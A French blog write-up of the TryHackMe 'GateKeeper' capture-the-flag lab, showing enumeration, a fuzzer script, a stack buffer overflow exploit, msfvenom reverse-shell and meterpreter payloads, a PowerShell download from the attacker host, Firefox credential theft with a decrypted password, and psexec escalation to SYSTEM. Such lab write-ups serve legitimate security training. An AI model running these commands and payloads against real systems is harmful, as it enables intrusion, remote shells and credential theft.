GateKeeper - BufferOverflow

hacking 20 juil. 2021

Can you get past the gate and through the fire?

Ce CTF de TryHackme classé medium comporte 2 flags à trouver : le premier, un flag utilisateur lambda, puis via une élévation de privilège, le flag root.

Déployons la machine et démarrons les hostilités :)

┌──(kali㉿vm-kali)-[~]
└─$ nmap 10.10.90.28 --script=smb-enum-shares                                                                                                                     1 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-10 18:17 CEST
Nmap scan report for 10.10.90.28
Host is up (0.83s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
31337/tcp open  Elite
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49161/tcp open  unknown
49165/tcp open  unknown

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.90.28\ADMIN$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.90.28\C$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.90.28\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: READ
|     Current user access: READ/WRITE
|   \\10.10.90.28\Users: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Anonymous access: <none>
|_    Current user access: READ

Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds

Le répertoire users est disponible
on se connecte dessus

┌──(kali㉿vm-kali)-[~/tryhackme/offensive pentesting/GateKeeper]
└─$ smbclient \\\\10.10.90.28\\Users

on se connecte sans mot de passe
on retrouve le programme gatekeeper dans le dossier Share.
Récupérons le.

explorons ensuite ce qui se passe sur le port 31337 en envoyant des commandes
nc 10.10.90.28 31337
après avoir saisi un "mo", on se rend compte que le programme retourne
Hello !!!

─$ nc 10.10.90.28 31337
toto
Hello toto!!!

Voyons si on peut exploiter un overflow en envoyant une longue chaine :
générez un pattern (par exemple avec msf-pattern create -l 3000)
c'est le cas ! le programme s'interrompt.

on présuppose que le programe en question est gatekeeper.
jetons un oeil rapide sur le fichier .exe que nous avons récupéré :

┌──(kali㉿vm-kali)-[~/tryhackme/offensive pentesting/GateKeeper]
└─$ strings gatekeeper.exe
!This program cannot be run in DOS mode.
2B00
2BRich
.text
`.rdata
@.data
.gfids
@.rsrc
Ph @
Ph8@
Qh@@
PhX@
Ph|@
sPhlA
j Y+
u&hHB
WhTB
j Y+
8csm
Y__^[
ineI
5ntel
5Genu
t#=`
RSDSeF
\\VBOXSVR\dostackbufferoverflowgood\dostackbufferoverflowgood\Release\dostackbufferoverflowgood.pdb
GCTL
.text$mn
.idata$5
.00cfg
.CRT$XCA
.CRT$XCAA
.CRT$XCZ
.CRT$XIA
.CRT$XIAA
.CRT$XIAC
.CRT$XIZ
.CRT$XPA
.CRT$XPZ
.CRT$XTA
.CRT$XTZ
.rdata
.rdata$sxdata
.rdata$zzzdbg
.rtc$IAA
.rtc$IZZ
.rtc$TAA
.rtc$TZZ
.xdata$x
.idata$2
.idata$3
.idata$4
.idata$6
.data
.bss
.gfids$y
.rsrc$01
.rsrc$02
freeaddrinfo
getaddrinfo
WS2_32.dll
memmove
memchr
__telemetry_main_invoke_trigger
__telemetry_main_return_trigger
__std_type_info_destroy_list
memset
_except_handler4_common
VCRUNTIME140.dll
__acrt_iob_func
_beginthread
_invalid_parameter_noinfo
__stdio_common_vfprintf
_errno
__stdio_common_vsprintf
_seh_filter_exe
_set_app_type
__setusermatherr
_configure_narrow_argv
_initialize_narrow_environment
_get_initial_narrow_environment
_initterm
_initterm_e
exit
_exit
_set_fmode
__p___argc
__p___argv
_cexit
_c_exit
_register_thread_local_exe_atexit_callback
_configthreadlocale
_set_new_mode
__p__commode
_seh_filter_dll
_initialize_onexit_table
_register_onexit_function
_execute_onexit_table
_crt_atexit
_crt_at_quick_exit
_controlfp_s
terminate
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
QueryPerformanceCounter
GetCurrentProcessId
GetCurrentThreadId
GetSystemTimeAsFileTime
InitializeSListHead
IsDebuggerPresent
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetStartupInfoW
IsProcessorFeaturePresent
GetModuleHandleW
GetCurrentProcess
TerminateProcess
KERNEL32.dll
WSAStartup failed: %d
31337
getaddrinfo failed: %d
socket() failed with error: %ld
bind() failed with error: %d
listen() failed with error: %ld
[+] Listening for connections.
accept failed: %d
Received connection from remote host.
Connection handed off to handler thread.
Please send shorter lines.
Bye!
[!] recvbuf exhausted. Giving up.
Client disconnected.
recv() failed: %d.
Bytes received: %d
exit
Client requested exit.
Hello %s!!!
send failed: %d
Bytes sent: %d
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level='asInvoker' uiAccess='false' />
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>

on apprend pas mal de chose :
le programme semble compilé avec Visual Studio, c'est du C. (VCRUNTIME140)
on retrouve notre chaîne Hello %s!!!, cela utilise des sockets ...
Bref de gros indices qui laisse à penser que c'est bien le même programme que celui que nous avons téléchargé.

on a meme un indice marrant :) : \\VBOXSVR\dostackbufferoverflowgood\dostackbufferoverflowgood\Release\dostackbufferoverflowgood.pdb
ce qui permet le debuggage a distance.

Bref avant de nous mettre en marche d'attaque identifions la limite haute à partir de laquelle le programme "crash" :g

créerons un fuzzer simple en python :

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.124.183"

port = 31337
timeout = 5
prefix = ""

string = "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string + "\r\n", "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Après execution, on constate que l'application crash à 200 bytes

!mona modules
l'ASLR est désactivé

on recherche l'adresse EIP
offset 146

On identifie les bads characters : \x00\x0a
!mona bytearray -b "\x00"
on charge le payload et on l'envoi
puis
!mona compare -f C:\mona\oscp\bytearray.bin -a 00B519E4 où 00B519E4 est l'adresse ESP relevé lors de l'exception.

On identifie un offset contenant un JMP ESP.
!mona jmp -r esp -cpb "\x00\x0a"
par exemple : 0x080414c3 ou 0x080416bf.
paramétrons le premier (en inversant) dans notre exploit.py
retn= "\xc3\x14\x04\x08"

on charge un payload sans les bad characters
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.10 LPORT=7000 EXITFUNC=thread -b "\x00\x0a" -f c

on ajoute un peu de padding (16 * "\x90") pour pouvoir désencoder notre shellcode

puis sur la machine de l'attaquant :
nc -lvnp 7000

Bingo nous obtenons un shell

C:\Users\lange_wfimrnz\Desktop\VulnApps\gatekeeper>dir
dir
 Le volume dans le lecteur C n'a pas de nom.
 Le num�ro de s�rie du volume est DA50-9CE9

 R�pertoire de C:\Users\lange_wfimrnz\Desktop\VulnApps\gatekeeper

10/05/2021  20:43    <DIR>          .
10/05/2021  20:43    <DIR>          ..
10/05/2021  20:35            13�312 gatekeeper.exe
               1 fichier(s)           13�312 octets
               2 R�p(s)  28�233�658�368 octets libres

C:\Users\lange_wfimrnz\Desktop\VulnApps\gatekeeper>

on genere un nouveau payload mais en utilisant notre IP TryHackMe + en indiquant l'IP de la machine de la victime dans notre exploit.py. On relance un listener et Hop !:

┌──(kali㉿vm-kali)-[~/tryhackme/offensive pentesting/GateKeeper]
└─$ nc -lvnp 7000
listening on [any] 7000 ...
connect to [10.11.31.167] from (UNKNOWN) [10.10.124.183] 49176
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\natbat\Desktop>

elevation des privileges

un petit whoami

whoami
gatekeeper\natbat

sur la machine on va récupérer winPeas pour identifer les vulnérabilités + nc.exe
powershell -c "Set-Content -value (New-Object Net.WebClient).DownloadData('http://10.11.31.167:8000/winPEAS.bat') -encoding byte -Path winpeas.bat";

Après execution rien ne semble vraiment intéréssant.
Dans le repertoire c:\Users\natbat\Desktop, on remarque le fichier Firefox.lnk. L'utilisateur utilise donc Firefox.
Aurait-il stocké des mots de passes dans son navigateur ?

python n'étant pas installé sur la machine de notre victime nous allons devoir transferer les fichiers qui nous intéresse vers notre machine.
Revoyons notre exploit afin d'utiliser un payload meterpreter qui nous permettra d'utiliser plusieurs fonctionnalités intéressantes.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.31.167 LPORT=7000 EXITFUNC=thread -b "\x00\x0a" -f c

puis préparons notre multi/handler metasploit avec la bonne configuration :
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread
                                        , process, none)
   LHOST     10.11.31.167     yes       The listen address (an interface may be s
                                        pecified)
   LPORT     7000             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

run

puis on lance notre exploit avec le nouveau payload :
python3 exploit.py

une fois connecté nous obtenons notre shell meterpreter :

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.11.31.167:7000 
[*] Sending stage (175174 bytes) to 10.10.90.28
[*] Meterpreter session 1 opened (10.11.31.167:7000 -> 10.10.90.28:49214) at 2021-05-11 22:12:25 +0200

meterpreter > 

revenons en arrière et lançons notre post exploitation pour récupérer les crédentials Firefox :
background

puis
use post/multi/gather/firefox_creds
on regarde les options :

Module options (post/multi/gather/firefox_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DECRYPT  false            no        Decrypts passwords without third party too
                                       ls
   SESSION                   yes       The session to run this module on.

nous devons juste indiquer sur quel session utiliser ce post exploit:
listons nos sessiosns :
sessions -l
il s'agit pour ma part de la session 1.
set SESSION 1 puis run

msf6 post(multi/gather/firefox_creds) > run

[-] Error loading USER S-1-5-21-663372427-3699997616-3390412905-1000: Hive could not be loaded, are you Admin?
[*] Checking for Firefox profile in: C:\Users\natbat\AppData\Roaming\Mozilla\

[*] Profile: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release
[+] Downloaded cert9.db: /home/kali/.msf4/loot/20210511222336_default_10.10.90.28_ff.ljfn812a.cert_997988.bin
[+] Downloaded cookies.sqlite: /home/kali/.msf4/loot/20210511222337_default_10.10.90.28_ff.ljfn812a.cook_927767.bin
[+] Downloaded key4.db: /home/kali/.msf4/loot/20210511222338_default_10.10.90.28_ff.ljfn812a.key4_626421.bin
[+] Downloaded logins.json: /home/kali/.msf4/loot/20210511222339_default_10.10.90.28_ff.ljfn812a.logi_162617.bin

[*] Profile: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\rajfzh3y.default

[*] Post module execution completed

les éléments qui nous intéressent sont téléchargés vers /home/kali/.msf4/loot/

il ne nous reste plus qu'à nous déconnecter puis d'executer l'outil firefox_decrypt qui va nous aider à récuperer les mots de passes stockés dans le navigateur.

D'abord nous devons renommer nos fichiers et ajouter un dossier "profiles"

20210511222336_default_10.10.90.28_ff.ljfn812a.cert_997988.bin
20210511222337_default_10.10.90.28_ff.ljfn812a.cook_927767.bin
20210511222338_default_10.10.90.28_ff.ljfn812a.key4_626421.bin
20210511222339_default_10.10.90.28_ff.ljfn812a.logi_162617.bin

deviennent respectivement :

cert9.db
cookies.sqlite
key4.db
logins.json

ensuite nous lançons firefox_decrypt pour obtenir :

Select the Mozilla profile you wish to decrypt
1 -> Profiles/rajfzh3y.default
2 -> Profiles/ljfn812a.default-release
2

Website:   https://creds.com
Username: 'mayor'
Password: '8CL7O1N78MdrCIsV'

il ne nous reste plus qu'à utiliser psexec.py de impacket pour se connecter sur le smb mais cette fois avec les credentials de mayor !

(kali㉿vm-kali)-[~/tryhackme/offensive pentesting/GateKeeper]$ python3 /usr/share/doc/python3-impacket/examples/psexec.py gatekeeper/mayor:<<HIDDEN>>@10.10.90.28 cmd.exe
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.90.28.....
[*] Found writable share ADMIN$
[*] Uploading file VQGNrSNN.exe
[*] Opening SVCManager on 10.10.90.28.....
[*] Creating service gWHz on 10.10.90.28.....
[*] Starting service gWHz.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

Verifions qui sommes nous :

c:\Users\mayor\Desktop>whoami
nt authority\system

Terminons par récuperer le flag Root que nous trouverons sur c:\Users\mayor\Desktop\root.txt et hop !

Ceci signe la fin de l'article, n'hésitez pas à partager, me faire part de vos commentaires, ou tout simplement me mettre un petit like !
Envie d'en apprendre encore plus ? Abonnez-vous en choisissant l'une des 3 formules (gratuite ou payante) et recevez directement par email nos articles dès leurs parutions. La formule payante vous donne droits à des articles Premium non disponible sur le site en accès public!

Mots clés